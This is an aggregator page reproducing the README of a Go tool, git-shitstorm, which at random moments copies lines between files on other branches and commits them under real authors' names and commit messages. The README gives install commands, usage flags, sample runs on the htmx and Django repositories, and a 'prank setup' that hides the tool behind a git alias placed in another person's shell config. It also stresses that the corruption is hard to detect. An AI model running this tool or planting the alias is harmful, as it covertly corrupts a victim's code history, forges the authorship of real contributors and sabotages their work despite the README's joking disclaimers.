惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

aimingoo的专栏
aimingoo的专栏
G
Google Developers Blog
B
Blog RSS Feed
A
About on SuperTechFans
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
V
V2EX
Stack Overflow Blog
Stack Overflow Blog
C
Check Point Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Engineering at Meta
Engineering at Meta
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
博客园 - 司徒正美
D
Docker
F
Fortinet All Blogs
Hugging Face - Blog
Hugging Face - Blog
Last Week in AI
Last Week in AI
H
Help Net Security
WordPress大学
WordPress大学
MyScale Blog
MyScale Blog
博客园 - Franky
人人都是产品经理
人人都是产品经理
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
Blog — PlanetScale
Blog — PlanetScale
L
LangChain Blog

Hacker News: Show HN

PurrrrrFocus: Pomodoro Timer App - App Store Workflow Engine — Multi-Step Orchestration for Bun RapidPhoto: Pro Photo Editor App - App Store GitHub - DheerG/swarms: Achieve extraordinary results with claude code across a variety of tasks SPICE simulation → oscilloscope → verification with Claude Code — Lucas Gerads Show HN: VCoding – A 5 MB native Windows IDE with no dynamic dependencies Show HN: LLMs don't hallucinate because they're bad at math, it's the format GitHub - Agent-FM/agentfm-core: AgentFM is a peer-to-peer network that turns everyday computers into a decentralized AI supercomputer. AgentFM lets you run massive AI workloads directly across a global mesh of idle CPUs and GPUs. Show HN: Tracking Top US Science Olympiad Alumni over Last 25 Years GitHub - Potarix/agent-hub: One place to talk to all your agents Show HN: Runtime security for AI agents(injection,tool abuse, data exfiltration) GitHub - dubeyKartikay/lazyspotify: Terminal Spotify client for macOS and Linux GitHub - the-banana-tool/king-louie: Easy to use GUI Personal AI Assistant. Win/Linux/Mac. Show HN I made my vacation rental bookable by AI agents–no Airbnb, 0% commission GitHub - basteez/jsf-autoreload: maven plugin to enable hot reload on jsf projects uvm32/hosts/host-gdbstub at main · ringtailsoftware/uvm32 GitHub - labsai/EDDI: Config-driven engine that turns JSON into production-grade AI agents. Multi-agent orchestration, 12+ LLM providers, MCP/A2A protocols, RAG, persistent memory, and enterprise compliance (EU AI Act, GDPR, HIPAA). Built on Quarkus. GitHub - glitchnsec/fortyone-oss: AI Executive Assistant Platform Quickstart | Alien GitHub - muxshed/shed: One stream in, or many. Every destination, simultaneously. No cloud middleman, no per-channel fees, no limits. GitHub - ocrbase-hq/ocrbase: 📄 PDF/IMG ->.MD/JSON Document OCR API for PaddleOCR and GLMOCR. Self-hostable. GitHub - impactjo/home-memory: MCP server that lets your AI assistant remember everything about your home. GitHub - Sets88/dbcls: DbCls is a powerful terminal database client that supports various databases GitHub - neptun2000/heor-agent-mcp GitHub - SeanFDZ/macmind: Single-layer transformer in HyperTalk for the classic Macintosh RollQuation: Math Puzzles - Apps on Google Play GitHub - dropbox/witchcraft Show HN: Agent-cache – Multi-tier LLM/tool/session caching for Valkey and Redis GitHub - opentalon/opentalon: OpenTalon is an open-source platform built from the ground up in Go as a robust alternative to OpenClaw LinkedIn™ 职位抓取工具 - Chrome 应用商店
GitHub - einenlum/git-shitstorm: How to make any develope...
Einenlum · 2026-05-14 · via Hacker News: Show HN

Logo

Git Shitstorm 🌪

A developer's worst nightmare: a tool that silently corrupts your Git history


Disclaimer

This is for fun and educational purposes only. Please don't do this on someone else's computer.

I'm not responsible for your future unemployment.

What It Does

Git Shitstorm randomly copies lines from one file and commits them into another file on a different branch, using a legitimate-looking commit message and author from your actual history. It runs silently and triggers only ~10% of the time (configurable), making the corruption gradual and hard to detect.

Installation

Download the latest binary from the releases page.

Or build from source:

go install github.com/einenlum/git-shitstorm@latest

Usage

# Run with default settings (10% chance of triggering)
git-shitstorm

# Always trigger (for testing)
git-shitstorm --chance 100

# Preview what would happen without making changes
git-shitstorm --dry-run

# Verbose output
git-shitstorm -vv

Options

Flag Description Default
--dry-run Preview changes without modifying files false
--chance Percentage chance of triggering (1-100) 10
--dir Target git directory .
-v Show error logs false
-vv Show all logs false
--time Show operation timing false

The Prank Setup

Again: please don't actually do this to someone.

Add this to someone's shell config:

alias git="git-shitstorm && git"

Every time they use git, there's a chance they're silently corrupting their history. Since commits use real author names and messages from their repo, it looks completely legitimate. Eventually their app breaks in mysterious ways, and debugging becomes a nightmare because nothing looks wrong in the git log.

How It Works

  1. ~90% of the time, it does nothing (configurable via --chance)
  2. Picks a random local branch and grabs a commit's metadata (message, author, email)
  3. Copies random lines from a random file in that branch
  4. Switches to a different random branch
  5. Pastes those lines into a random file (matching extension if possible)
  6. Commits with the stolen metadata

All silently. No root required.

Examples

Verbose output on the HTMX repository
$ git-shitstorm --chance 100 -vv
- Configuration: { directory: . , chance: 100% }

- Sorry... you triggered a git shitstorm!
- Let's have some fun, shall we?

- Number of branches found: 42
- Current branch: refs/heads/master
- Randomly selected base copy branch for shitstorm: refs/heads/v1
- Randomly selected base file for shitstorm: www/static/test/attributes/hx-sse.js

- Randomly selected target copy branch for shitstorm: refs/heads/hateoas-essay-styles
- Randomly selected lines to copy for shitstorm:

- --------

-  >             '</div>');
-  >         div.click();
-  >         this.server.respond();
-  >         this.eventSource.wasClosed().should.equal(true)
-  >     })
-  >
-  >     it('is closed after removal with no close and activity', function() {
-  >         var div = make('<div hx-get="/test" hx-swap="outerHTML" hx-sse="connect:/foo">' +
-  >             '<div id="d1" hx-trigger="sse:e1" hx-get="/d1">div1</div>' +
-  >             '</div>');
-  >         div.parentElement.removeChild(div);
-  >         this.eventSource.sendEvent("e1")
-  >         this.eventSource.wasClosed().should.equal(true)
-  >     })

- --------

- Randomly selected target file for shitstorm: www/test/1.5.1/test/core/internals.js
- Randomly selected commit for shitstorm:
- e9234823a2415526628d2cb62e59ec61e054c2f8: Improve wording
- By Ben Croker (57572400+bencroker@users.noreply.github.com)

- Inserted lines and committed to branch refs/heads/hateoas-essay-styles successfully

$ git log refs/heads/hateoas-essay-styles
commit 3db53cff8ae6b0e03266be918dcbffa72ea855a1 (hateoas-essay-styles)
Author: Ben Croker <57572400+bencroker@users.noreply.github.com>
Date:   Sun Jan 25 21:02:00 2026 +0100

    Improve wording
Dry-run on the Django repository
$ git-shitstorm --chance 100 --dry-run
[DRY-RUN] Dry-run mode enabled - no changes will be made

[DRY-RUN] Would modify file: tests/null_fk_ordering/tests.py
[DRY-RUN] On branch: refs/heads/stable/5.2.x
[DRY-RUN] Commit message: Fixed #35320 -- Removed unnecessary django.core.files.move._samefile() hook.
[DRY-RUN] Author: Ben Cail <bcail@crossway.org>

[DRY-RUN] Lines to insert (40 lines):
[DRY-RUN] --------
[DRY-RUN]           result = self.get_runner()._makeResult()
[DRY-RUN]           self.assertEqual(result.errors, [])
[DRY-RUN]           test_suite.run(result)
[DRY-RUN]           self.assertEqual(len(result.errors), 1)
[DRY-RUN]           ...
[DRY-RUN] --------

[DRY-RUN] No changes were made to the repository

Performance

The overhead is minimal and unlikely to be noticed:

Repository size Added latency
Small (laravel/boost) ~15ms
Medium (htmx) ~20ms
Large (django) ~80ms

Stack

Built with Go and go-git.

Platforms

Compiled for Linux, Windows, and macOS. Only tested on Linux.

Contributing

Contributions welcome! Feel free to open an issue or submit a pull request.

This is my first Go project, so there's probably room for improvement.

Author

Yann Rabiller (@einenlum) | blog | From PHP to Python

License

MIT License


If you hate this project, give it a star ⭐️!